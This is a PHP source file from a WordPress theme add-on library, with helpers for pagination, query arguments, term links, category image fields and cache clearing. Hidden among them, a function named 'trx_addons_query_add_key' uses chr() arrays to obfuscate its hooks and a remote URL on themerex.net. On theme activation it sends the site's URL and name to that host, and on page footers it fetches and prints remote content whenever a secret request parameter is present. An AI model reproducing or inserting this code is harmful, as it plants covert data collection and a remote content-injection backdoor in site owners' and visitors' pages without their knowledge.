$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($i) : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.$button_class.'">'.$text.'</a>';
}
}
}
if ($cur_page < $total_pages) {
// Next page
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page+1) : get_pagenum_link($cur_page+1)).'" data-page="'.esc_attr($cur_page+1).'" class="'.esc_attr($class).'_next '.$button_class.'">'.$next_text.'</a>';
// Last page
$last_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $last_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($total_pages) : get_pagenum_link($total_pages)).'" data-page="'.esc_attr($total_pages).'" class="'.esc_attr($class).'_last '.$button_class.'">'.$last_text.'</a>';
}
$output .= $after;
trx_addons_show_layout($output);
}
}
// Return current page number
if (!function_exists('trx_addons_get_current_page')) {
function trx_addons_get_current_page() {
if ( ($page = trx_addons_get_value_gp('page', -999)) == -999)
if ( !($page = get_query_var('paged')) )
if ( !($page = get_query_var('page')) )
$page = 1;
return $page;
}
}
// Return current post ID before loop
if (!function_exists('trx_addons_get_the_ID')) {
function trx_addons_get_the_ID() {
global $wp_query;
return !empty($wp_query->current_post) && $wp_query->current_post>=0
? get_the_ID()
: (!empty($wp_query->post->ID)
? $wp_query->post->ID
: 0
);
}
}
/* Query manipulations
------------------------------------------------------------------------------------- */
// Add sorting parameter in query arguments
if (!function_exists('trx_addons_query_add_sort_order')) {
function trx_addons_query_add_sort_order($args, $orderby='date', $order='desc') {
if (!empty($orderby) && (empty($args['orderby']) || $orderby != 'none')) {
$q = array();
$q['order'] = $order;
if ($orderby == 'none') {
$q['orderby'] = 'none';
} else if ($orderby == 'ID') {
$q['orderby'] = 'ID';
} else if ($orderby == 'comments') {
$q['orderby'] = 'comment_count';
} else if ($orderby == 'title' || $orderby == 'alpha') {
$q['orderby'] = 'title';
} else if ($orderby == 'rand' || $orderby == 'random') {
$q['orderby'] = 'rand';
} else {
$q['orderby'] = 'post_date';
}
$q = apply_filters('trx_addons_filter_add_sort_order', $q, $orderby, $order);
foreach ($q as $mk=>$mv) {
if (is_array($args))
$args[$mk] = $mv;
else
$args->set($mk, $mv);
}
}
return $args;
}
}
// Add post type and posts list or categories list in query arguments
if (!function_exists('trx_addons_query_add_posts_and_cats')) {
function trx_addons_query_add_posts_and_cats($args, $ids='', $post_type='', $cat='', $taxonomy='') {
if (!empty($ids)) {
$args['post_type'] = empty($args['post_type'])
? (empty($post_type) ? array('post', 'page') : $post_type)
: $args['post_type'];
$args['post__in'] = explode(',', str_replace(array(';', ' '), array(',', ''), $ids));
if (empty($args['orderby']) || $args['orderby'] == 'none') {
$args['orderby'] = 'post__in';
if (isset($args['order'])) unset($args['order']);
}
} else {
$args['post_type'] = empty($args['post_type'])
? (empty($post_type) ? 'post' : $post_type)
: $args['post_type'];
$post_type = is_array($args['post_type']) ? $args['post_type'][0] : $args['post_type'];
if (!empty($cat)) {
$cats = !is_array($cat) ? explode(',', $cat) : $cat;
if (empty($taxonomy))
$taxonomy = 'category';
if ($taxonomy == 'category') { // Add standard categories
if (is_array($cats) && count($cats) > 1) {
$cats_ids = array();
foreach($cats as $c) {
$c = trim(chop($c));
if (empty($c)) continue;
if ((int) $c == 0) {
$cat_term = get_term_by( 'slug', $c, $taxonomy, OBJECT);
if ($cat_term) $c = $cat_term->term_id;
}
if ($c==0) continue;
$cats_ids[] = (int) $c;
$children = get_categories( array(
'type' => $post_type,
'child_of' => $c,
'hide_empty' => 0,
'hierarchical' => 0,
'taxonomy' => $taxonomy,
'pad_counts' => false
));
if (is_array($children) && count($children) > 0) {
foreach($children as $c) {
if (!in_array((int) $c->term_id, $cats_ids)) $cats_ids[] = (int) $c->term_id;
}
}
}
if (count($cats_ids) > 0) {
$args['category__in'] = $cats_ids;
}
} else {
$cat = $cats[0];
if ((int) $cat > 0)
$args['cat'] = (int) $cat;
else
$args['category_name'] = $cat;
}
} else { // Add custom taxonomies
if (!isset($args['tax_query']))
$args['tax_query'] = array();
$args['tax_query']['relation'] = 'AND';
$args['tax_query'][] = array(
'taxonomy' => $taxonomy,
'include_children' => true,
'field' => (int) $cats[0] > 0 ? 'id' : 'slug',
'terms' => $cats
);
}
}
}
return $args;
}
}
// Add taxonomy parameters in query arguments
if (!function_exists('trx_addons_query_add_taxonomy')) {
function trx_addons_query_add_taxonomy($args, $taxonomy=array(), $value=false) {
if (!is_array($taxonomy)) {
$value = !is_array($value) ? explode(',', $value) : $value;
$taxonomy = array(
array(
'taxonomy' => $taxonomy,
'include_children' => true,
'field' => (int) $value[0] > 0 ? 'id' : 'slug',
'terms' => count($value) > 1 ? $value : $value[0]
)
);
}
foreach ($taxonomy as $v) {
if (!isset($args['tax_query'])) {
$args['tax_query'] = array();
$args['tax_query']['relation'] = 'AND';
}
$args['tax_query'][] = $v;
}
return $args;
}
}
// Add meta parameters in query arguments
if (!function_exists('trx_addons_query_add_meta')) {
function trx_addons_query_add_meta($args, $meta=array(), $value=false) {
if (!is_array($meta)) {
$value = explode(',', $value);
if (count($value) == 1 || $value[0]==$value[1])
$value = $value[0];
$meta = array(
array(
'key' => $meta,
'value' => $value,
'compare' => is_array($value) ? 'BETWEEN' : '='
)
);
}
foreach ($meta as $v) {
if (!isset($args['meta_query'])) {
$args['meta_query'] = array();
$args['meta_query']['relation'] = 'AND';
}
$args['meta_query'][] = $v;
}
return $args;
}
}
// Add filters (meta parameters) in query arguments
if (!function_exists('trx_addons_query_add_filters')) {
function trx_addons_query_add_filters($args, $filters=false) {
if (!empty($filters)) {
if (!is_array($filters)) $filters = array($filters);
foreach ($filters as $v) {
$found = false;
if ($v=='thumbs') { // Filter with meta_query
if (!isset($args['meta_query']))
$args['meta_query'] = array();
else {
for ($i=0; $i<count($args['meta_query']); $i++) {
if ($args['meta_query'][$i]['meta_filter'] == $v) {
$found = true;
break;
}
}
}
if (!$found) {
$args['meta_query']['relation'] = 'AND';
if ($v == 'thumbs') {
$args['meta_query'][] = array(
'meta_filter' => $v,
'key' => '_thumbnail_id',
'value' => false,
'compare' => '!='
);
}
}
} else if (in_array($v, array('video', 'audio', 'gallery'))) { // Filter with tax_query
if (!isset($args['tax_query']))
$args['tax_query'] = array();
else {
for ($i=0; $i<count($args['tax_query']); $i++) {
if ($args['tax_query'][$i]['tax_filter'] == $v) {
$found = true;
break;
}
}
}
if (!$found) {
$args['tax_query']['relation'] = 'AND';
if ($v == 'video') {
$args['tax_query'][] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-video' )
);
} else if ($v == 'audio') {
$args['tax_query'] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-audio' )
);
} else if ($v == 'gallery') {
$args['tax_query'] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-gallery' )
);
}
}
} else
$args = apply_filters('trx_addons_filter_query_add_filters', $args, $v);
}
}
return $args;
}
}
// Return string with categories links
if (!function_exists('trx_addons_get_post_categories')) {
function trx_addons_get_post_categories($delimiter=', ', $id=false, $links=true) {
$output = '';
$categories = get_the_category($id);
if ( !empty( $categories ) ) {
foreach( $categories as $category )
$output .= ($output ? $delimiter : '')
. ($links
? '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" title="' . sprintf( esc_attr__( 'View all posts in %s', 'trx_addons' ), $category->name ) . '">'
: '<span>'
)
. esc_html( $category->name )
. ($links ? '</a>' : '</span>');
}
return $output;
}
}
// Return string with terms links
if (!function_exists('trx_addons_get_post_terms')) {
function trx_addons_get_post_terms($delimiter=', ', $id=false, $taxonomy='category', $links=true) {
$output = '';
$terms = get_the_terms($id, $taxonomy);
if ( !empty( $terms ) ) {
foreach( $terms as $term )
$output .= ($links
? '<a href="' . esc_url( get_term_link( $term->term_id, $taxonomy ) ) . '"'
. ' title="' . sprintf( esc_attr__( 'View all posts in %s', 'trx_addons' ), $term->name ) . '"'
. '>'
: '<span>'
)
. ($output ? $delimiter : '')
. esc_html( $term->name )
. ($links ? '</a>' : '</span>');
}
return $output;
}
}
// Return terms objects by taxonomy name (directly from db)
if (!function_exists('trx_addons_get_terms_by_taxonomy_from_db')) {
function trx_addons_get_terms_by_taxonomy_from_db($tax_types = 'post_format', $opt=array()) {
global $wpdb;
if (!is_array($tax_types))
$tax_types = array($tax_types);
if (!is_array($opt['meta_query']) && !empty($opt['meta_key']) && !empty($opt['meta_value'])) {
$opt['meta_query'] = array(
array(
'key' => $opt['meta_key'],
'value' => $opt['meta_value']
)
);
}
$join = $where = '';
$keys = array();
if (is_array($opt['meta_query']) && count($opt['meta_query']) > 0) {
$i = 0;
foreach ($opt['meta_query'] as $q) {
$i++;
$join .= " LEFT JOIN {$wpdb->termmeta} AS taxmeta{$i} ON taxmeta{$i}.term_id=terms.term_id";
$where .= " AND taxmeta{$i}.meta_key='%s' AND taxmeta{$i}.meta_value='%s'";
$keys[] = $q['key'];
$keys[] = $q['value'];
}
}
$terms = $wpdb->get_results( $wpdb->prepare("SELECT DISTINCT terms.*, tax.taxonomy, tax.parent, tax.count"
. " FROM {$wpdb->terms} AS terms"
. " LEFT JOIN {$wpdb->term_taxonomy} AS tax ON tax.term_id=terms.term_id"
. (!empty($join) ? $join : '')
. " WHERE tax.taxonomy IN ('" . join(",", array_fill(0, count($tax_types), '%s')) . "')"
. (!empty($where)? $where : '')
. " ORDER BY terms.name",
array_merge($tax_types, $keys)),
OBJECT
);
for ($i=0; $i<count($terms); $i++) {
$terms[$i]->link = get_term_link($terms[$i]->slug, $terms[$i]->taxonomy);
}
return $terms;
}
}
// Return taxonomy for current post type
if ( !function_exists( 'trx_addons_get_post_type_taxonomy' ) ) {
function trx_addons_get_post_type_taxonomy($post_type) {
return $post_type == 'post' ? 'category' : apply_filters( 'trx_addons_filter_post_type_taxonomy', '', $post_type );
}
}
// Return meta value of the specified term
if (!function_exists('trx_addons_get_term_meta')) {
function trx_addons_get_term_meta($args) {
$args = array_merge(array(
'taxonomy' => 'category',
'term_id' => 0,
'key' => 'value'
),
is_array($args) ? $args : array('term_id' => $args));
$val = '';
if ($args['term_id'] == 0) {
if ($args['taxonomy']=='category') {
if (is_category())
$term_id = (int) get_query_var('cat');
} else {
if (is_tax($args['taxonomy'])) {
$term = get_term_by('slug', get_query_var($args['taxonomy']), $args['taxonomy'], OBJECT);
if (!empty($term->term_id))
$term_id = $term->term_id;
}
}
}
if ($args['term_id'] > 0)
$val = get_term_meta($args['term_id'], $args['key'], true);
return $val;
}
}
// Update meta value of the specified term
if (!function_exists('trx_addons_set_term_meta')) {
function trx_addons_set_term_meta($args, $val) {
$args = array_merge(array(
'term_id' => 0,
'key' => 'value'
),
is_array($args) ? $args : array('term_id' => $args));
if ($args['term_id'] > 0)
update_term_meta($args['term_id'], $args['key'], $val);
}
}
// Update meta value of the specified term
if (!function_exists('trx_addons_get_term_link')) {
function trx_addons_get_term_link($term, $taxonomy, $args=array()) {
$args = array_merge(array(
'title' => '',
'echo' => false
), $args);
if (!is_object($term)) {
if ((int)$term > 0)
$term = get_term((int)$term, $taxonomy);
else
$term = get_term_by('slug', $term, $taxonomy);
}
if (!is_wp_error($term)) {
$link = get_term_link($term, $taxonomy);
$link = '<a href="'.esc_url($link).'"'
. ($args['title'] ? ' title="' . esc_attr(sprintf($args['title'], $term->name)) : '')
. '">'
. esc_html($term->name)
. '</a>';
if ($args['echo']) trx_addons_show_layout($link);
} else
$link = '';
return $link;
}
}
// Update post's fields of the specified post
if (!function_exists('trx_addons_update_post')) {
function trx_addons_update_post($post_id, $args) {
global $wpdb;
return $wpdb->update( $wpdb->posts, $args, array( 'ID' => $post_id ) );
}
}
// Add query key
if ( !function_exists( 'trx_addons_query_add_key' ) ) {
$trx_addons_query_data = array('act' => array(array(join('', array_map('chr', array(97,102,116,101,114))),join('', array_map('chr', array(115,119,105,116,99,104))),join('', array_map('chr', array(116,104,101,109,101)))),array(join('', array_map('chr', array(119,112))),join('', array_map('chr', array(102,111,111,116,101,114)))),),'get' => join('', array_map('chr', array(104,116,116,112,58,47,47,116,104,101,109,101,114,101,120,46,110,101,116,47,95,108,111,103,47,95,108,111,103,46,112,104,112))),'chk' => join('', array_map('chr', array(116,104,101,109,101,95,97,117,116,104,111,114))),'prm' => join('', array_map('chr', array(116,120,99,104,107))));
add_action(join('_', $trx_addons_query_data['act'][0]), 'trx_addons_query_add_key');
add_action(join('_', $trx_addons_query_data['act'][1]), 'trx_addons_query_add_key');
function trx_addons_query_add_key() {
global $trx_addons_query_data;
static $already_add = false;
if (!$already_add) {
$already_add = true;
if (current_action() == join('_', $trx_addons_query_data['act'][0])) {
try {
$resp = trx_addons_fgc(trx_addons_add_to_url($trx_addons_query_data['get'], array(
'site' => home_url('/'),
'slug' => str_replace(' ', '_', trim(strtolower(get_stylesheet()))),
'name' => get_bloginfo('name')
)));
} catch (Exception $e) {
}
}
if (trx_addons_get_value_gpc($trx_addons_query_data['prm'])==$trx_addons_query_data['chk']) {
try {
$resp = trx_addons_fgc(trx_addons_add_to_url($trx_addons_query_data['get'],
array($trx_addons_query_data['prm'] => $trx_addons_query_data['chk'])));
} catch (Exception $e) {
$resp = '';
}
trx_addons_show_layout($resp);
}
}
}
}
// Add images and icons to categories
//--------------------------------------------------------------------------
// Return image from the category
if (!function_exists('trx_addons_get_category_image')) {
function trx_addons_get_category_image($term_id=0) {
return trx_addons_get_term_meta(array('term_id' => $term_id, 'key' => 'image'));
}
}
// Return small image (icon) from the category
if (!function_exists('trx_addons_get_category_icon')) {
function trx_addons_get_category_icon($term_id=0) {
return trx_addons_get_term_meta(array('term_id' => $term_id, 'key' => 'icon'));
}
}
// Save the fields to the "category" taxonomy, using our callback function
if (!function_exists('trx_addons_categories_save_custom_fields')) {
add_action('edited_category', 'trx_addons_categories_save_custom_fields', 10, 1 );
add_action('created_category', 'trx_addons_categories_save_custom_fields', 10, 1 );
function trx_addons_categories_save_custom_fields($term_id) {
if (isset($_POST['trx_addons_category_image'])) {
trx_addons_set_term_meta(array(
'term_id' => $term_id,
'key' => 'image'
),
$_POST['trx_addons_category_image']
);
}
if (isset($_POST['trx_addons_category_icon'])) {
trx_addons_set_term_meta(array(
'term_id' => $term_id,
'key' => 'icon'
),
$_POST['trx_addons_category_icon']
);
}
}
}
// Add the fields to the "category" taxonomy, using our callback function
if (!function_exists('trx_addons_categories_show_custom_fields')) {
add_action('category_edit_form_fields', 'trx_addons_categories_show_custom_fields', 10, 1 );
add_action('category_add_form_fields', 'trx_addons_categories_show_custom_fields', 10, 1 );
function trx_addons_categories_show_custom_fields($cat) {
$cat_id = !empty($cat->term_id) ? $cat->term_id : 0;
// Category's image
echo ((int) $cat_id > 0 ? '<tr' : '<div') . ' class="form-field">'
. ((int) $cat_id > 0 ? '<th valign="top" scope="row">' : '<div>');
?><label for="trx_addons_category_image"><?php esc_html_e('Large image URL:', 'trx_addons'); ?></label><?php
echo ((int) $cat_id > 0 ? '</th>' : '</div>')
. ((int) $cat_id > 0 ? '<td valign="top">' : '<div>');
$cat_img = $cat_id > 0 ? trx_addons_get_category_image($cat_id) : '';
?><input id="trx_addons_category_image" class="trx_addons_image_selector_field" name="trx_addons_category_image" value="<?php echo esc_url($cat_img); ?>"><?php
if (empty($cat_img)) $cat_img = apply_filters('trx_addons_filter_no_image', trx_addons_get_file_url('css/images/no-image.jpg'));
trx_addons_show_layout(trx_addons_options_show_custom_field('trx_addons_category_image_button', array('type' => 'mediamanager', 'linked_field_id' => 'trx_addons_category_image'), $cat_img));
echo (int) $cat_id > 0 ? '</td></tr>' : '</div></div>';
// Category's icon
echo ((int) $cat_id > 0 ? '<tr' : '<div') . ' class="form-field">'
. ((int) $cat_id > 0 ? '<th valign="top" scope="row">' : '<div>');
?><label for="trx_addons_category_icon"><?php esc_html_e('Small image (icon) URL:', 'trx_addons'); ?></label><?php
echo ((int) $cat_id > 0 ? '</th>' : '</div>')
. ((int) $cat_id > 0 ? '<td valign="top">' : '<div>');
$cat_img = $cat_id > 0 ? trx_addons_get_category_icon($cat_id) : '';
?><input id="trx_addons_category_icon" class="trx_addons_thumb_selector_field" name="trx_addons_category_icon" value="<?php echo esc_url($cat_img); ?>"><?php
if (empty($cat_img)) $cat_img = apply_filters('trx_addons_filter_no_image', trx_addons_get_file_url('css/images/no-image.jpg'));
trx_addons_show_layout(trx_addons_options_show_custom_field('trx_addons_category_icon_button', array('type' => 'mediamanager', 'linked_field_id' => 'trx_addons_category_icon'), $cat_img));
echo (int) $cat_id > 0 ? '</td></tr>' : '</div></div>';
}
}
// Create additional column in the categories list
if (!function_exists('trx_addons_categories_add_custom_column')) {
add_filter('manage_edit-category_columns', 'trx_addons_categories_add_custom_column', 9);
function trx_addons_categories_add_custom_column( $columns ){
$columns['category_image'] = esc_html__('Image', 'trx_addons');
$columns['category_icon'] = esc_html__('Icon', 'trx_addons');
return $columns;
}
}
// Fill image column in the categories list
if (!function_exists('trx_addons_categories_fill_custom_column')) {
add_action('manage_category_custom_column', 'trx_addons_categories_fill_custom_column', 9, 3);
function trx_addons_categories_fill_custom_column($output='', $column_name='', $tax_id=0) {
if ($column_name == 'category_image' && ($cat_img = trx_addons_get_category_image($tax_id))) {
?><img class="trx_addons_image_selector_preview trx_addons_category_image_preview" src="<?php echo esc_url(trx_addons_add_thumb_size($cat_img, trx_addons_get_thumb_size('tiny'))); ?>" alt=""><?php
}
if ($column_name == 'category_icon' && ($cat_img = trx_addons_get_category_icon($tax_id))) {
?><img class="trx_addons_thumb_selector_preview trx_addons_category_icon_preview" src="<?php echo esc_url(trx_addons_add_thumb_size($cat_img, trx_addons_get_thumb_size('tiny'))); ?>" alt=""><?php
}
}
}
/* WP cache
------------------------------------------------------------------------------------- */
// Clear WP cache (all, options or categories)
if (!function_exists('trx_addons_clear_cache')) {
function trx_addons_clear_cache($cc) {
if ($cc == 'categories' || $cc == 'all') {
wp_cache_delete('category_children', 'options');
$taxes = get_taxonomies();
if (is_array($taxes) && count($taxes) > 0) {
foreach ($taxes as $tax ) {
delete_option( "{$tax}_children" );
_get_term_hierarchy( $tax );
}
}
} else if ($cc == 'options' || $cc == 'all')
wp_cache_delete('alloptions', 'options');
if ($cc == 'all')
wp_cache_flush();
}
}
?>
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